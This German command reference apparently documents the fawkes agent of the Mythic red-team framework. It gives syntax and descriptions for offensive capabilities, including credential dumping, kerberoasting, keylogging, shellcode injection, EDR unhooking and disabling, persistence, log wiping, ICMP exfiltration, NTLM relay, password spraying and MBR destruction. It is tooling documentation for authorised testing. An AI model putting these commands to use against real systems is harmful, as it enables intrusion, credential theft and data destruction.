reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Nur Windows)** Ein natives PE (DLL) aus dem Speicher in den aktuellen Prozess laden. Manuelles PE-Mapping mit Abschnittskopierung, Relocation-Fixes, Importauflösung und DllMain-Aufruf. Optional exportierte Funktionen aufrufen (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Nur Linux)** Linux-Firewall-Enumeration und -Verwaltung via iptables/nftables/ufw. IP-Weiterleitung, Verbindungsverfolgung, Regelauflistung und -änderung. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Einen laufenden Task anhand der Task-ID stoppen. Mit `jobs` laufende Tasks auflisten. Plattformübergreifend.
jobs | `jobs` | Derzeit laufende Tasks mit Task-ID, Befehlsname und Dauer auflisten. Plattformübergreifend.
jxa | `jxa -code '<script>' [-timeout 60]` oder `jxa -file /path/to/script.js` | **(Nur macOS)** JavaScript for Automation (JXA)-Skripte mit ObjC-Bridge-Zugriff auf Foundation, AppKit, Security-Frameworks ausführen. Unterstützt Inline-Code und Dateieingabe (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | TGS-Tickets für SPN-Konten anfordern und Hashes im Hashcat-Format zum Offline-Knacken extrahieren. Automatische Enumeration via LDAP. Plattformübergreifend (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Kerberos-Tickets auflisten, leeren, dumpen und importieren. Import ermöglicht Pass-the-Ticket: Windows injiziert kirbi via LSA, Linux/macOS schreibt ccache + setzt KRB5CCNAME. Plattformübergreifend (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Nur macOS)** Auf macOS-Keychain zugreifen – Keychains auflisten, Metadaten dumpen, generische/Internet-Passwörter finden, Zertifikate aufzählen.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Kerberos-Delegierungsbeziehungen aufzählen – uneingeschränkt, eingeschränkt (mit Protokollübergang), RBCD. **monitor**-Aktion (Windows/SYSTEM only) fragt LSA nach eingehenden TGTs ab und exportiert sie als kirbi-Blobs. Plattformübergreifend außer monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Low-Level-Tastatur-Logger. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Erkennt Ctrl+V/Cmd+V-Einfügeereignisse und erfasst Zwischenablage-Inhalt. Fensterkontextverfolgung auf allen Plattformen (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Laterale Bewegungsoptionen gegen Ziele testen – prüft SMB-, WinRM-, RDP-, RPC-, SSH-Konnektivität und schlägt anwendbare Methoden vor. Plattformübergreifend (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Anmeldeverlauf, fehlgeschlagene Anmeldeversuche und Systemstart-/Herunterfahrereignisse anzeigen. Linux: parst wtmp/btmp. Windows: Security/System-Ereignisprotokolle. macOS: natives `last` + Unified Log. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Active Directory via LDAP abfragen. Voreingestellte Abfragen für Benutzer, Computer, Gruppen, Domänenadministratoren, alle Admins (adminCount), SPNs, AS-REP-roastable, deaktivierte Konten, GPOs, OUs, Password-Never-Expires, Domänenvertrauensstellungen, uneingeschränkte/eingeschränkte Delegierung, DACL-Analyse, gMSA-Passwort-Extraktion, BloodHound CE v6-Sammlung (Benutzer/Computer/Gruppen/OUs/GPOs/Vertrauensstellungen für Graph-Analyse) oder benutzerdefinierte LDAP-Filter. Plattformübergreifend (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | AD-Objekte via LDAP ändern. Gruppenmitgliedschaft, Attribute, SPNs, Konto aktivieren/deaktivieren, Passwort zurücksetzen, Shadow Credentials, Maschinenkontoerstellung, RBCD-Delegierung, Objektlöschung. GPO-Missbrauch: geplante Tasks (gpo-task) oder Startskripte (gpo-script) injizieren. ADCS: Zertifikatsvorlagen für ESC1/ESC4-Ausnutzung ändern. Plattformübergreifend (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Einen Prozess anhand der PID beenden. Plattformübergreifend (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | LAPS-Passwörter aus AD via LDAP lesen. Unterstützt LAPS v1 (ms-Mcs-AdmPwd) und Windows LAPS v2 (ms-LAPS-Password). Plattformübergreifend (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Nur Windows)** LSA-Geheimnisse extrahieren (Dienstpasswörter, DPAPI-Schlüssel, Maschinenkonto) und zwischengespeicherte Domänenanmeldedaten (DCC2/MSCacheV2-Hashcat-Format). Erfordert SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Nur macOS)** LaunchAgent/LaunchDaemon-Persistenz installieren, entfernen oder auflisten. Erstellt plist mit RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Verbindung zu einem P2P-Agent via TCP oder Named Pipe für interne Pivotierung herstellen. Named-Pipe-Modus verwendet SMB-Port 445 für verdeckteren Windows-Datenverkehr. Plattformübergreifend TCP, Windows-only Named Pipe (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Symbolische oder harte Links erstellen. Symlinks können auf nicht vorhandene Pfade zeigen. Force-Modus ersetzt vorhandenen Link. Plattformübergreifend (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Nur Linux)** Linux-Protokolldateien und binäre Anmeldeaufzeichnungen (wtmp/btmp/utmp) auflisten, lesen, löschen oder manipulieren. Unterstützt selektive Zeilenentfernung und sicheres Schreddern (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Aktive Anmeldesitzungen aufzählen – Benutzer, Sitzungs-IDs, Stationen, Verbindungsstatus. Nach Benutzernamen filtern. Windows: WTS-API. Linux: utmp-Parsing. macOS: utmpx-Parsing.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** LOLBin/GTFOBin-Proxy-Ausführung. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Plattformübergreifend: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Dateien und Ordner mit Besitzer/Gruppe und Zeitstempeln auflisten. Dateibrowser-Integration. Standard ist aktuelles Arbeitsverzeichnis.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Nur Windows)** Ein Token aus Anmeldedaten erstellen: es imitieren, einen Prozess starten oder **auto-verify** (imitieren, dann whoami + getprivs-Kette) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Datei-Tarnung und -Verstecken – Dateien tarnen (Doppelerweiterung, RtLO, Leerzeichen, Prozess-Übereinstimmung) oder vor Enumeration verstecken (show/hide). Windows: +H/+S-Attribute. Linux: Punkt-Präfix. macOS: UF_HIDDEN + Punkt-Präfix (T1036, T1564.001).
mkdir | `mkdir <directory>` | Ein neues Verzeichnis erstellen (erstellt bei Bedarf Elternverzeichnisse).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Nur Windows)** Shellcode injizieren, indem der .text-Abschnitt einer legitimen DLL überschrieben wird. Shellcode wird aus dem Adressraum einer signierten DLL ausgeführt und umgeht die Erkennung von privatem Speicher (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Geladene Module/DLLs/Bibliotheken in einem Prozess mit optionaler Namensfilterung auflisten. Plattformübergreifend (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Prozessspeicher nach Byte-Mustern mit Hex-Dump-Ausgabe durchsuchen. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (nur Selbstscan). Unterstützt String- und Hex-Muster. Plattformübergreifend (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Eingehängte Dateisysteme mit Gerät, Einhängepunkt, Typ und Optionen auflisten. Unterstützt Filterung nach Name oder Dateisystemtyp. Plattformübergreifend (T1082).
mv | `mv <source> <destination>` | Eine Datei von Quelle zu Ziel verschieben oder umbenennen.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Named Pipes (Windows), Unix Domain Sockets und FIFOs (Linux/macOS) zur IPC-Erkennung auflisten. Unterstützt Teilstring-Filterung (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Plattformübergreifende Netzwerk-Enumeration. Benutzer, Gruppen, Gruppenmitglieder, Administratoren, Sitzungen, Freigaben. Windows: Win32-NetAPI (Domänenabfragen, zugeordnete Laufwerke). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | AD-Gruppenmitgliedschaften via LDAP aufzählen. Rekursive Mitgliederauflösung, Benutzergruppen-Suche, privilegierte Gruppen-Enumeration. Plattformübergreifend (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Lokale Benutzerkonten und Gruppenmitgliedschaften verwalten. Windows: netapi32-API. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Deaktivieren/Aktivieren/Sperren für T1531-Ransomware-Simulation. Plattformübergreifend (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Aktive Netzwerkverbindungen und lauschende Ports mit Protokoll, Status, PID und Prozessname auflisten. Unterstützt Filterung nach Status, Protokoll, Port und Prozess-ID. Plattformübergreifend.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Nur Windows)** EDR-Inline-Hooks aus DLLs entfernen, indem der .text-Abschnitt aus einer sauberen Kopie wiederhergestellt wird. Unterstützt 5 DLLs oder `all`. `check` meldet Hooks ohne Änderung. `knowndlls`-Quelle verwendet \\KnownDlls\\-Abschnittsobjekte (vermeidet Datenträger-I/O – opsicherheitsfreundlicher) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Nur Windows)** Indirekter Syscall-Resolver. Analysiert ntdll-Exporte, um Nt*-Syscall-Nummern aufzulösen, und erstellt Stubs, die zum syscall;-ret-Gadget von ntdll springen. Wenn aktiv, umgehen Injektionsbefehle Userland-API-Hooks (T1106).
opus-injection | `opus-injection` | **(Nur Windows)** Callback-basierte Prozessinjektion. Variante 1: Ctrl-C-Handler-Kette. Variante 4: PEB-KernelCallbackTable. [Details](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Persistenz installieren oder entfernen. Windows: registry, startup-folder, com-hijack, screensaver, ifeo, winlogon, print-processor, accessibility, active-setup, time-provider, port-monitor, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Alle Methoden unterstützen install/remove/list.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Nur-Lese-Enumeration von Persistenzmechanismen. Windows: registry, startup, tasks, services. Linux: cron, systemd, shell profiles, SSH keys, LD_PRELOAD, udev rules, kernel modules, motd, at jobs, D-Bus services, PAM modules, package hooks, logrotate scripts, NetworkManager dispatcher, anacron. macOS: LaunchAgents, login items, periodic scripts, auth plugins, emond, at jobs (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Passwort-Manager-Datenbanken und Konfigurationsdateien entdecken — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Plattformübergreifend (T1555).
poolparty-injection | `poolparty-injection` | **(Nur Windows)** Shellcode mit PoolParty-Techniken injizieren, die Windows-Thread-Pool-Interna ausnutzen. Alle 8 Varianten unterstützt. [Details](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` oder `ping -action exfil-icmp -target <IP> -file <path>` | TCP-Connect-Host-Erreichbarkeit (T1018) + ICMP-Datenexfiltration via Echo-Request-Payloads mit XOR-Codierung und Jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Nur Windows)** Named-Pipe-Identitätswechsel zur Privilegienausweitung. Pipe-Server erstellen, auf privilegierte Client-Verbindung warten, Token imitieren. Erfordert SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Nur Windows)** PrintSpoofer-Privilegienausweitung – SeImpersonate zu SYSTEM via Print Spooler. Erstellt Named Pipe, löst Druckerwarteschlangenverbindung via OpenPrinterW aus, imitiert SYSTEM-Token. Ein-Schritt NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Installierte Pakete und Software auflisten. Listet dpkg/rpm/apk (Linux), Homebrew/Applications (macOS) oder Registry-Uninstall-Schlüssel (Windows) auf. Unterstützt Namensfilterung. Plattformübergreifend (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | TCP-Connect-Scan zur Netzwerkdiensterkennung. Unterstützt CIDR, IP-Bereiche und Portbereiche. Plattformübergreifend.
powershell | `powershell <command> [--encoded]` | **(Nur Windows)** Einen PowerShell-Befehl via powershell.exe mit OPSEC-gehärteten Flags (abgekürzt, randomisiert) ausführen. Unterstützt codierten Befehlsmodus, um Argumente vor dem Prozessbaum zu verbergen.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Nur Windows)** Windows-Prefetch-Dateien parsen und verwalten. Ausgeführte Programme auflisten, Ausführungsverlauf parsen (bis zu 8 Zeitstempel), bestimmte Einträge löschen oder alle löschen. Unterstützt MAM-komprimierte Dateien (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Privilegienausweitungs-Enumeration und -Ausnutzung. `auto-escalate`: automatisierte Subtask-Kette — listet alle Vektoren auf und versucht dann die beste verfügbare Ausweitung (UAC-Bypass, Token-Diebstahl oder sudo). `hijack-execute`: automatisierte Proxy-DLL-Fabrik — liest Exporte der Ziel-DLL, Server kompiliert Proxy-DLL mit eingebettetem Shellcode (mingw). `hijack-deploy`: setzt Proxy-DLL ein (benennt Original um, platziert Proxy). `hijack-trigger`: löst den Hijack aus — startet Dienst neu (`-trigger restart -service_name <svc>`) oder startet Prozess (`-trigger spawn -source <exe>`), um die Proxy-DLL zu laden. `hijack-cleanup`: macht einen eingesetzten Hijack rückgängig (löscht Proxy, stellt Original wieder her). Windows: Token-Privilegien, unquotierte Dienste, AlwaysInstallElevated, Auto-Logon, UAC, unattend-Dateien, DLL-Hijack-Scanning (Phantom-DLLs, beschreibbarer PATH, KnownDLLs), DLL-Planting mit Timestomping, DLL-Sideloading, PE-Export-Enumeration (dll-exports mit DEF-Datei-Generierung), Dienst-Registrierungsberechtigungsmissbrauch. Linux: SUID/SGID, Fähigkeiten, sudo, Container, Cron-Hijacking, NFS no_root_squash, systemd-Units, sudo-Token, PATH-Hijacking, Docker-Gruppe, gefährliche Gruppen, Polkit-Regeln, Modprobe-Hooks, ld.so.preload-Injektion, Sicherheitsmodule (AppArmor/SELinux). macOS: LaunchDaemons, TCC, dylib-Hijacking, SIP. Plattformübergreifend (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` oder `psexec -action check -host <target>` | **(Nur Windows)** Befehle auf entfernten Hosts via SCM-Diensterstellung ausführen – PSExec-artige laterale Bewegung. `check` validiert Voraussetzungen (SMB 445, SCM-Zugriff, Admin-Freigaben) ohne Ausführung. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Nur Linux)** Tiefes /proc-Inspizieren: Prozessdetails (cmdline, env, caps, cgroups, namespaces, FDs), Netzwerkverbindungen mit PID-Auflösung, Einhängepunkte, Kernelmodule. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Nur Windows)** Prozess-Mitigierungsrichtlinien abfragen oder setzen (DEP, ASLR, CIG, ACG, CFG). CIG setzen, um das Laden nicht signierter DLLs zu blockieren (EDR-Verteidigung). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Prozesshierarchie als Baum mit Eltern-Kind-Beziehungen anzeigen. Hilft bei der Identifizierung von Injektionszielen und Sicherheitstools. Plattformübergreifend (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Prozessspeicher dumpen. Windows: MiniDumpWriteDump mit LSASS-Autoerkennung. Linux: /proc/pid/mem-Region-Dumping. Suchaktion findet anmeldedatenhaltende Prozesse. Lädt zu Mythic hoch und bereinigt von Datenträger. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Proxyeinstellungen aus Umgebungsvariablen, Betriebssystemkonfiguration (Registry, Konfigurationsdateien) und Go-Transport erkennen. Optionaler Konnektivitätstest. Plattformübergreifend (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Laufende Prozesse mit Mythic-Prozessbrowser-Integration auflisten. Filtern nach Name, PID, Eltern-PID oder Benutzername. Plattformübergreifend.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Nur Linux, amd64/arm64)** Prozessinjektion via ptrace — PTRACE_ATTACH/POKETEXT/SETREGS mit Register- und Code-Wiederherstellung. Yama ptrace_scope-Vorprüfung mit umsetzbarer Anleitung. Check-Modus meldet ptrace_scope, Fähigkeiten und Kandidaten (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Eine interaktive PTY-Shell-Sitzung via Mythics interaktivem Tasking starten. Vollständige Terminalemulation mit bidirektionalem I/O (T1059).
pwd | `pwd` | Arbeitsverzeichnis ausgeben.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Nur Windows)** Bytes von einer DLL-Funktionsadresse lesen.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Nur Windows)** Einheitliche Registry-Operationen – lesen, schreiben, löschen, suchen und Hives speichern (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Registry auf entfernten Windows-Hosts via WinReg-RPC über SMB-Named-Pipes lesen/schreiben. Unterstützt Pass-the-Hash. Plattformübergreifend (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Dienste auf entfernten Windows-Hosts via SVCCTL-RPC verwalten. Standardoperationen + fortgeschrittene laterale Bewegung: modify-path (Binärpfad eines vorhandenen Dienstes kapern), trigger (trigger-gestarteten Dienst erstellen) , dll-sideload (ServiceDll-Registry-Hijack). Pass-the-Hash. Plattformübergreifend (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Nur Windows)** Zum ursprünglichen Sicherheitskontext zurückkehren, indem alle aktiven Identitätswechsel-Token verworfen werden.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Systemroutingtabelle mit optionaler Filterung anzeigen. Windows: GetIpForwardTable-API, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Plattformübergreifend (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Portweiterleitung: reverse (Mythic leitet zum Ziel) oder forward (Agent leitet zu internem Ziel weiter). Plattformübergreifend (T1090).
rm | `rm [-path <path>] [-secure true]` | Eine Datei oder ein Verzeichnis entfernen. `-secure true` überschreibt mit Zufallsdaten (3 Durchgänge) vor dem Löschen, um forensische Wiederherstellung zu verhindern (T1070.004).
run | `run <command>` | Einen Shell-Befehl ausführen und die Ausgabe zurückgeben.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Einen Befehl als anderer Benutzer ausführen. Windows: CreateProcessWithLogonW (unterstützt /netonly). Linux/macOS: setuid als root oder sudo -S mit Passwort. Plattformübergreifend (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Geplante Tasks verwalten. Windows: Task Scheduler COM-API. Linux: crontab, systemd-Timer, at-Jobs. macOS: LaunchAgents/LaunchDaemons, crontab, at. Plattformübergreifend (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Einzelnen Screenshot aufnehmen oder fortlaufende Screenshots in Intervallen aufzeichnen. Lädt als PNG hoch. record-Modus: konfigurierbares Intervall/Dauer/max_frames, stoppbar via jobkill. Windows: GDI. macOS: screencapture. Linux: X11/Wayland-Autoerkennung. Plattformübergreifend (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Dateien nach Geheimnissen, API-Schlüsseln, privaten Schlüsseln, Verbindungszeichenfolgen und sensiblen Mustern durchsuchen. 42 Regex-Muster (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI usw.) mit Wert-Schwärzung. Tiefenbegrenzter Verzeichnisdurchlauf, überspringt Rausch-Verzeichnisse. Plattformübergreifend (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Dateien sicher löschen, Daten überschreiben oder Boot-Records zerstören. `delete`: zufälliges Überschreiben + Entfernen. `wipe`: aggressive strukturierte Zerstörung (T1485). `wipe-mbr`: MBR/GPT-Boot-Record auf rohem Datenträgergerät überschreiben (T1561). Sicherheitsabfrage erforderlich. Plattformübergreifend (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Sicherheitslage und aktive Kontrollen melden, EDR/XDR-Produkte erkennen (20+ Anbieter), Minifilter-Treiber mit EDR-Klassifizierung aufzählen oder geladene Kernel-Treiber mit EDR/Callback-Analyse auflisten. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Plattformübergreifend (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Netzwerk-Sniffing, -Poisoning und NTLM-Relay. `capture`: passive Anmeldedatenextraktion (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: aktiver Responder mit SMB+HTTP-Hash-Erfassung – NTLMv2-Hashes im Hashcat-Modus 5600. `relay`: NTLM-Relay zu Ziel-SMB. `ldap-relay`: NTLM-Relay zu Ziel-LDAP mit Post-Auth-Operationen (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | SMB-Freigaben über mehrere Hosts nach sensiblen Dateien durchsuchen – Anmeldedaten, Konfigurationen, Skripte. Rekursive Verzeichnissuche mit Pass-the-Hash-Unterstützung. Plattformübergreifend (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | SMB2-Dateioperationen auf entfernten Freigaben – auflisten, browsen, lesen/schreiben/löschen, push für laterale Werkzeugübertragung, exfil für Datenexfiltration, taint zum Platzieren von Dateien. **share-perms**: Lese-/Schreibzugriff auf alle Freigaben testen. **share-spider**: rekursive Verzeichnisauflistung mit Tiefen-/Erweiterungsfiltern. **share-search**: sensible Dateien über Freigaben mit integrierten oder benutzerdefinierten Mustern finden. NTLM-Auth + Pass-the-Hash. Plattformübergreifend (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Dienste verwalten + EDR/AV-Anvisierung. `edr-enum`: installierte Sicherheitsdienste erkennen (60+ Signaturen). `edr-kill`: erkannte EDR stoppen+deaktivieren (Sicherheitsabfrage erforderlich). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Umgebungsvariablen im Agent-Prozess setzen oder löschen. Plattformübergreifend.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Shell-Verlauf lesen, Shell-Konfigurationsdateien auflisten/lesen/injizieren/entfernen/löschen. Linux/macOS: bashrc/zshrc. Windows: PowerShell-Profile + PSReadLine-Verlauf. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` oder `sleep -interval 60 -jitter 30 -jitter_profile normal` | Rückrufintervall, Jitter, Arbeitszeiten und Jitter-Verteilungsprofil (uniform/normal/exponential) festlegen. Normalverteilung clustert um das Intervall; exponentiell ahmt burstige menschliche Muster nach.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | SOCKS5-Proxy starten, stoppen, Statistiken anzeigen oder Bandbreite festlegen. Unterstützt TCP CONNECT und UDP ASSOCIATE (RFC 1928) für DNS/UDP-Tools durch den Proxy. Optionale, pro Verbindung begrenzte Bandbreite in KB/s. Stats zeigt aktive Verbindungen, Bytes TX/RX, aktuellen Verlauf.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Zeilen einer Datei sortieren. Unterstützt alphabetische, numerische, umgekehrte und eindeutige Modi. Plattformübergreifend (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Nur Windows)** Einen angehaltenen Prozess oder Thread zur Injektion starten. Unterstützt PPID-Spoofing (T1134.004) und Blockieren von Nicht-Microsoft-DLLs.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Passwort-Spray gegen AD via Kerberos-Pre-Auth, LDAP-Bind oder SMB-Auth. SMB unterstützt Pass-the-Hash. Sperr-sicher mit konfigurierbarer Verzögerung/Jitter. Plattformübergreifend (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Befehle ausführen, Dateien übertragen oder SSH-Tunnel erstellen. `check` validiert SSH-Voraussetzungen (Port, Auth, Shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Plattformübergreifend (T1021.004, T1570, T1572).
